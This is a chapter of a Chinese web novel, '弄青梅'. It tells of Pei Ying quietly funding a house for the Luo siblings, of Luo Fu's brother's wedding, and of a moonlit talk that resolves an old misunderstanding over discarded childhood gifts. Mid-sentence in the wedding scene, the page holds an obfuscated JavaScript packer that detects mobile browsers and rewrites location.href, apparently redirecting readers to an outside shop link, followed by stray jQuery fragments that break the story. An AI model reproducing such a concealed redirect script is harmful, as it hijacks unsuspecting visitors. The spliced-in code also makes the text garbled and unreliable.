13.解心结
作品:《弄青梅》 “宾献圭璋为信,主君受之于庙……”弘文馆内,夫子正引经据典,滔滔不绝地讲述《礼记》中的《聘义》篇。
这些内容裴瑛早已烂熟于心,案几之下,他的指尖正无意识地摩挲着那本手札。
零陵香的幽微气息若有似无地钻入鼻尖,扰得他一时有些出神——
洛茗阴差阳错地要娶徐家女,徐侯大手一挥,花重金为这对新人备下华宅,就在离徐府不远的安仁坊内。
然,洛茗却私下托付自己帮他另购一间宅院。
既已有侯府赐宅,为何还要另置宅院?裴瑛心中有所猜测,但洛茗没有多言,他也并非刨根问底之人。
只是,长安米贵,居大不易。区区二百两银钱,想要在京城置下产业并非易事。
这几日裴瑛下了学便跟着牙人四处相看,接连奔波数日,却一无所获。不是位置太偏,便是要价太高。
直至半月后,裴瑛才总算寻到一处合适的宅子。因原主急着离京,价格已压得极低,但仍要二百八十两。
比洛茗给的预算足足高了八十两,但裴瑛还是毫不犹豫地定了下来。
待洛家兄妹前来相看时,皆对这处宅子赞不绝口。
“裴哥哥,你竟能寻到这般好地方!”洛芙满心雀跃,在庭院中流连赞叹,“麻雀虽小,五脏俱全,且位置极佳,去哪儿都方便。”
“离裴府也不远。”裴瑛颔首,淡淡补充道。
见妹妹如此中意,洛茗不再犹豫,当即便取来现钱交清了款项,与房主及中人一道,将那张盖着官印的房契文书落了款。
洛芙小心翼翼地接过那张尚带墨香的房契,端详了许久:“阿兄,我们在长安也有自己的家了。”
洛茗笑着摸了摸妹妹的头:“是啊,阿芙在长安有家了。”
至于裴瑛先行交付的那八十两,他并不打算让兄妹俩知晓。
就当是送给他们的乔迁之礼罢。
事情既定,裴瑛也了了一桩心事。半个多月的连轴转,他揉了揉眉心,只觉一股乏意涌上心头。
坐于绳床上的裴瑛随手拿起一本杂谈翻阅,本想静心安神,谁知心中一股郁气躁结,怎么也挥散不去。纸上的字符在他眼前变得张牙舞爪,乱作一团。
“啪——”
裴瑛忍无可忍地合上书页,起身坐到了古琴之前。
每当心烦意乱事,抚琴便是他最好的疏解。然而今夜,从他指尖流出的音符却全无平日的清雅,时而狂野如暴风骤雨,时而低沉如呜咽悲鸣。
院中的仆从们面面相觑,鲜少听到郎君弹奏出如此不加掩饰的躁郁之音。
两边院子隔得远,洛芙并没有听到裴瑛的琴声,她近来很忙碌——除了给阿兄缝制喜被喜枕外,还要抽空去新宅打扫。
阿兄思虑周全,唯恐住进徐侯的宅院被人戳脊梁骨说他吃软饭,便动用阿耶留下的积蓄另置一宅,好留条后路。
几日下来,小宅已收拾妥当,明日便是阿兄大婚,洛芙趁着今日将一些用具一并送去,这般若是阿兄何时想去住了,也免得手忙脚乱。
没料到一大早出门,恰巧碰见了独自去弘文馆的裴瑛。
裴瑛的目光不动声色地落在洛芙身后那满满一车的被褥箱笼上。
看来他猜得不错,她真的要搬走了。
“这便要走了?”裴瑛的声音听不出波澜。
洛芙含笑点头:“是呢,东西繁杂,得来回多跑几趟。”
裴瑛目光又在洛芙脸上停留片刻,未见她有半分离愁别绪,反倒是一派向往之色。
也是,寄人篱下终究不易,有了自己的家,她再不必费心去给他、甚至给猫儿做礼物了,自然是极好的。
洛芙心里装着事儿,没发觉裴瑛神色有异,繁杂的事务让她很快将这个小插曲抛到了脑后。
直至傍晚,下学归来的裴瑛不知不觉便踱到了洛芙在裴府居住的小院前。
望着门口紧闭的铜锁,裴瑛心头那股郁气再度袭来。
她当真就这么走了,连一句正式的告别都不曾有?
罢了,他得赶紧吩咐周执事将牛乳送到那间小宅去。
裴瑛正想着,身后忽然传来一道悦耳的清甜嗓音。
“裴哥哥?”
有一瞬间,裴瑛以为是自己的错觉。
他转身,看到沐浴在月光下熟悉的脸和熟悉的笑容,才知真的是洛芙回来了。
洛芙此刻正有些疑惑地看着裴瑛:“你怎么在这儿?”
“你……没去住新宅?”
洛芙愣了一下才反应过来,掩唇轻笑:“裴哥哥误会了。我只是去布置一番,并非要搬走。我与阿兄商议好了,平日里还是住在裴府……”
见裴瑛方才不同于以往波澜不惊的脸色,洛芙眨眨眼,仰头问道:“难不成,裴哥哥不喜我在府中借住,想要赶我走?”
“怎会?”裴瑛的语气难得地夹杂了一丝急切,“莫要多想。”
见到洛芙脸上狡黠的笑容,裴瑛这才发觉自己今日有些失态,忙轻咳一声掩饰道:“你劳累一日,早些安置吧。”
“裴哥哥也是,莫要胡思乱想。”洛芙看着裴瑛步履匆匆离去的背影,心情莫名地轻快。
回到书斋的裴瑛再次坐到古琴前。
不过这一次,他弹奏出的琴音悠扬婉转,好似阳春里的融融暖意,又似绿水般清澈欢快。
院中的仆从们更是一头雾水:“这大起大落的,郎君的琴音如今愈发叫人难以捉摸了。”
疲惫的洛芙则很快进入梦乡,嘴角还泛着未尽的笑意……
定安二十三年六月三十,宜嫁娶,诸事皆吉。
这一日,洛茗于徐侯备下的华宅中迎娶徐家嫡女徐玉露。
送亲的仪仗自徐府启程,浩浩荡荡蜿蜒过安仁坊。一口口沉甸甸的妆奁箱笼,皆以金箔贴花,雕琢着龙凤呈祥的纹样。
沿途百姓们纷纷攀上坊墙,踮脚翘首,感慨道:此真可谓是十里红妆,绵延不绝。
而更叫人津津乐道的,是那位玉树临风的新郎官。当洛茗身着大红吉服,跨下高头骏马至徐府迎亲时,徐侯爷抚须含笑,眼角眉梢皆是掩不住的欣慰与满意。
华宅之前,更是人头攒动,水泄不通。在喧天的鼓乐中,喜婆抓着铜钱喜果撒了一波又一波,哄得围观孩童站在门前久久不肯离去。
直到新人在赞者的高唱下拜别天地高堂,众人才意犹未尽地散去。
宅内,华堂溢彩,觥筹交错。
这种场面,洛芙自觉帮衬不上甚么,默默地坐在廖夫人身旁。
“说来也巧,”廖夫人唏嘘道,“当初汤氏来府上打听你的来历,我还随口说了句,是不是她家女儿看上了洛家小郎君了,谁知竟一语成戳了。”
洛芙笑道:“没想到还有这一茬,夫人的嘴真是开了光似的灵验。”
廖夫人心里想着,她当初还说不想洛芙当儿媳妇呢,如今却是后悔了,这话可万万不能灵验。
今日裴家父子一辆马车来,洛芙则是跟着廖夫人来的,夫妇二人不凑洞房的热闹,早早打道回府了。
洛芙眼看着阿兄与嫂嫂喝下了合卺酒,直到洞房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884554|190803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的门关上了,才依依不舍地离开。
天色已晚,她只得和裴瑛同乘一辆马车归家。
马车之内虽不显逼仄,但洛芙却觉得膝间与裴瑛仅隔着咫尺之遥。那若有似无的男子气息,让她莫名地颊生红晕,呼吸都变得局促起来。
她忍不住掀开帘子一角,探头出去透气。
裴瑛今夜喝了太多的酒,此刻正在闭目养神,感受到凉风拂面,他睁开了眼:“太热了?”
“有一点。”洛芙有些羞赧。
“不远了,若觉得闷,不若下车走走。”
洛芙愣了一下,随即点头。
裴瑛率先下车,转身自然地朝她伸出手。
洛芙深吸一口气,将手放入他的掌心。
十指相触的刹那,那股奇异的滚烫与酥麻再次袭来,洛芙瞬间有想要缩回手的冲动。
但她克制住了,故作镇定地下了马车,随后飞速收回了手。
夏夜空旷的长街上,马车在前头慢行,两人并肩在后头缓缓走着。
“裴哥哥。”洛芙突然出声。
“嗯?”裴瑛侧头,月色勾勒出他清隽的侧脸。
“我能问你一件事吗?”洛芙犹豫良久,趁着今夜裴哥哥喝了酒,好似不像平日那般疏离冷漠,她终于鼓起勇气,将积压在心中多年的疑问问出口,“当年在清川,你是不是……很不喜我?”
裴瑛停下脚步,看着她略带委屈的眼眸。
“为何会这么说?”
“如果你不讨厌我,为什么……要把我送你的礼物全都丢掉?”洛芙的声音微微发颤,“那年你离开清川,我亲眼看见嬷嬷把你不要的东西都扔了,其中就有我送你的礼物。”
若是寻常人,或许早已忘却十年前的细枝末节,但裴瑛过目不忘。
他略一沉吟,便想起了那些尘封的旧事:“你说的,可是那个紫檀木盒?
洛芙目光诧异。
“十年前我离开清川时,确曾让嬷嬷帮我清理旧物。当时我同嬷嬷说,将我从前所作的文章策论丢掉,因觉得幼稚可笑,若我没记错的话,那些文章也保存在相似的木盒之中。”
洛芙不可思议地眨眨眼:“你是说……是嬷嬷弄错了?”
裴瑛沉吟片刻:“嬷嬷年事已高,想必是弄混了。”
洛芙此刻的心情复杂难言。原来,裴哥哥从未嫌弃过她的礼物?这十年的心结,竟只是一场误会?
“你说的礼物,可是当年你送我的孔明锁、陀螺、还有一只黑釉瓷哨?”
听他如数家珍般报出名字,洛芙积压多年的委屈瞬间涌上心头,眼眶一红,哽咽着“嗯”了一声。
裴瑛最是见不得洛芙落泪,当即躬身致歉:“此事是裴某疏忽,未曾交代清楚,裴某给芙妹妹赔个不是。”
“不不不!”洛芙连连摆手,吸了吸鼻子,“不怪裴哥哥,是我错怪你了……”
裴瑛这才恍然,为何当初洛茗会对自己突然发难,指责他的待客之道是不是就是将别人所赠的礼物转头偷偷丢掉。
原来症结才此处。
看着洛芙突然变得轻快的步伐,裴瑛舒一口气。若不是今夜她提起此旧事,他真要当一辈子的小人了。
裴瑛照例将洛芙送至院门前,两人道别。
洛芙转身步入房间,兴冲冲地直奔箱笼,将那个压在箱底的旧木盒又翻了出来。
她轻轻抚摸着那些早已泛黄发旧的小玩意儿,指尖划过每一道刻痕,只觉得有无数的甜蜜与释然涌上心间。
或许裴哥哥,是真的愿意娶阿芙的。

